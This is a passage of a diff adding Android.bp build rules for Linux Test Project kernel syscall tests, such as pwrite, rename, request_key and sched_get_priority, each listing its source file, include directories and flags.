+    cflags: ["-Wno-error"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwrite",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwrite02_64",
+    stem: "pwrite02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwrite/pwrite02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-Wno-error",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwrite",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwrite03",
+    stem: "pwrite03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwrite/pwrite03.c"],
+    cflags: ["-Wno-error"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwrite",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwrite03_64",
+    stem: "pwrite03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwrite/pwrite03.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-Wno-error",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwrite",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwrite04",
+    stem: "pwrite04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwrite/pwrite04.c"],
+    cflags: ["-Wno-error"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwrite",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwrite04_64",
+    stem: "pwrite04_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwrite/pwrite04.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+        "-Wno-error",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwrite",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwritev01",
+    stem: "pwritev01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwritev/pwritev01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwritev",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwritev01_64",
+    stem: "pwritev01_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwritev/pwritev01.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/pwritev",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwritev02",
+    stem: "pwritev02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwritev/pwritev02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwritev",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwritev02_64",
+    stem: "pwritev02_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwritev/pwritev02.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/pwritev",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwritev03",
+    stem: "pwritev03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwritev/pwritev03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwritev",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwritev03_64",
+    stem: "pwritev03_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwritev/pwritev03.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+        "testcases/kernel/syscalls/pwritev",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwritev201",
+    stem: "pwritev201",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwritev2/pwritev201.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwritev2",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwritev201_64",
+    stem: "pwritev201_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwritev2/pwritev201.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwritev2",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwritev202",
+    stem: "pwritev202",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwritev2/pwritev202.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwritev2",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_pwritev202_64",
+    stem: "pwritev202_64",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/pwritev2/pwritev202.c"],
+    cflags: [
+        "-D_FILE_OFFSET_BITS=64",
+        "-DTST_USE_NEWER64_SYSCALL=1",
+    ],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/pwritev2",
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_quotactl01",
+    stem: "quotactl01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/quotactl/quotactl01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_quotactl02",
+    stem: "quotactl02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/quotactl/quotactl02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_quotactl03",
+    stem: "quotactl03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/quotactl/quotactl03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_random-access",
+    stem: "random-access",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/fs-bench/random-access.c"],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_random-access-del-create",
+    stem: "random-access-del-create",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/fs/fs-bench/boxmuler.c",
+        "testcases/kernel/fs/fs-bench/random-access-del-create.c",
+    ],
+    local_include_dirs: ["include/old"],
+}
+
+cc_test {
+    name: "ltp_read01",
+    stem: "read01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/read/read01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_read02",
+    stem: "read02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/read/read02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_read03",
+    stem: "read03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/read/read03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_read04",
+    stem: "read04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/read/read04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_read_all",
+    stem: "read_all",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/fs/read_all/read_all.c"],
+    cflags: ["-D_GNU_SOURCE"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_read_checkzero",
+    stem: "read_checkzero",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/io/ltp-aiodio/read_checkzero.c"],
+    cflags: ["-DAIO"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_readahead01",
+    stem: "readahead01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/readahead/readahead01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_readahead02",
+    stem: "readahead02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/readahead/readahead02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_readdir01",
+    stem: "readdir01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/readdir/readdir01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_readdir02",
+    stem: "readdir02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/readdir/readdir02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_readdir21",
+    stem: "readdir21",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/readdir/readdir21.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_readlink01",
+    stem: "readlink01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/readlink/readlink01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_readlink03",
+    stem: "readlink03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/readlink/readlink03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_readlinkat01",
+    stem: "readlinkat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/readlinkat/readlinkat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_readlinkat02",
+    stem: "readlinkat02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/readlinkat/readlinkat02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_readv01",
+    stem: "readv01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/readv/readv01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_readv02",
+    stem: "readv02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/readv/readv02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_readv03",
+    stem: "readv03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/readv/readv03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_realpath01",
+    stem: "realpath01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/realpath/realpath01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_reboot01",
+    stem: "reboot01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/reboot/reboot01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_reboot02",
+    stem: "reboot02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/reboot/reboot02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_recv01",
+    stem: "recv01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/recv/recv01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_recvfrom01",
+    stem: "recvfrom01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/recvfrom/recvfrom01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_recvmsg01",
+    stem: "recvmsg01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/recvmsg/recvmsg01.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_recvmsg02",
+    stem: "recvmsg02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/recvmsg/recvmsg02.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_recvmsg03",
+    stem: "recvmsg03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/recvmsg/recvmsg03.c"],
+    local_include_dirs: [
+        "testcases/kernel/syscalls/utils",
+        "include/old",
+    ],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_remap_file_pages02",
+    stem: "remap_file_pages02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/remap_file_pages/remap_file_pages02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_removexattr01",
+    stem: "removexattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/removexattr/removexattr01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_removexattr02",
+    stem: "removexattr02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/removexattr/removexattr02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename01",
+    stem: "rename01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename02",
+    stem: "rename02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename03",
+    stem: "rename03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename04",
+    stem: "rename04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename05",
+    stem: "rename05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename06",
+    stem: "rename06",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename06.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename07",
+    stem: "rename07",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename07.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename08",
+    stem: "rename08",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename08.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename09",
+    stem: "rename09",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename09.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename10",
+    stem: "rename10",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename10.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename11",
+    stem: "rename11",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename11.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename12",
+    stem: "rename12",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename12.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename13",
+    stem: "rename13",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename13.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rename14",
+    stem: "rename14",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rename/rename14.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_renameat01",
+    stem: "renameat01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/renameat/renameat01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_renameat201",
+    stem: "renameat201",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/renameat2/renameat201.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_renameat202",
+    stem: "renameat202",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/renameat2/renameat202.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_request_key01",
+    stem: "request_key01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/request_key/request_key01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_request_key02",
+    stem: "request_key02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/request_key/request_key02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_request_key03",
+    stem: "request_key03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/request_key/request_key03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_request_key04",
+    stem: "request_key04",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/request_key/request_key04.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_request_key05",
+    stem: "request_key05",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/request_key/request_key05.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rmdir01",
+    stem: "rmdir01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rmdir/rmdir01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rmdir02",
+    stem: "rmdir02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rmdir/rmdir02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rmdir03",
+    stem: "rmdir03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rmdir/rmdir03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rt_sigaction01",
+    stem: "rt_sigaction01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rt_sigaction/rt_sigaction01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rt_sigaction02",
+    stem: "rt_sigaction02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rt_sigaction/rt_sigaction02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rt_sigaction03",
+    stem: "rt_sigaction03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rt_sigaction/rt_sigaction03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rt_sigpending02",
+    stem: "rt_sigpending02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigpending/sigpending02.c"],
+    cflags: ["-DTEST_RT_SIGPENDING"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rt_sigprocmask01",
+    stem: "rt_sigprocmask01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rt_sigprocmask02",
+    stem: "rt_sigprocmask02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rt_sigqueueinfo01",
+    stem: "rt_sigqueueinfo01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rt_sigqueueinfo/rt_sigqueueinfo01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rt_sigsuspend01",
+    stem: "rt_sigsuspend01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rt_sigsuspend/rt_sigsuspend01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rt_sigtimedwait01",
+    stem: "rt_sigtimedwait01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c"],
+    cflags: ["-DTEST_RT_SIGTIMEDWAIT"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rt_tgsigqueueinfo01",
+    stem: "rt_tgsigqueueinfo01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/rt_tgsigqueueinfo/rt_tgsigqueueinfo01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_rtc01",
+    stem: "rtc01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/device-drivers/rtc/rtc01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sbrk01",
+    stem: "sbrk01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sbrk/sbrk01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sbrk02",
+    stem: "sbrk02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sbrk/sbrk02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sbrk03",
+    stem: "sbrk03",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sbrk/sbrk03.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_boost",
+    stem: "sched_boost",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/sched_boost.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_cfs_prio",
+    stem: "sched_cfs_prio",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/sched_cfs_prio.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_dl_runtime",
+    stem: "sched_dl_runtime",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/eas/util.c",
+        "testcases/kernel/sched/eas/sched_dl_runtime.c",
+        "testcases/kernel/sched/eas/trace_parse.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_driver",
+    stem: "sched_driver",
+    defaults: ["ltp_test_defaults"],
+    srcs: [
+        "testcases/kernel/sched/sched_stress/sched_driver.c",
+        "testcases/kernel/sched/sched_stress/sched.c",
+    ],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_get_priority_max01",
+    stem: "sched_get_priority_max01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_get_priority_max02",
+    stem: "sched_get_priority_max02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_get_priority_min01",
+    stem: "sched_get_priority_min01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_get_priority_min02",
+    stem: "sched_get_priority_min02",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min02.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_getaffinity01",
+    stem: "sched_getaffinity01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_getaffinity/sched_getaffinity01.c"],
+    local_include_dirs: ["include/old"],
+    static_libs: ["libltp_ltp"],
+}
+
+cc_test {
+    name: "ltp_sched_getattr01",
+    stem: "sched_getattr01",
+    defaults: ["ltp_test_defaults"],
+    srcs: ["testcases/kernel/syscalls/sched_getattr/sched_getattr01.c"],
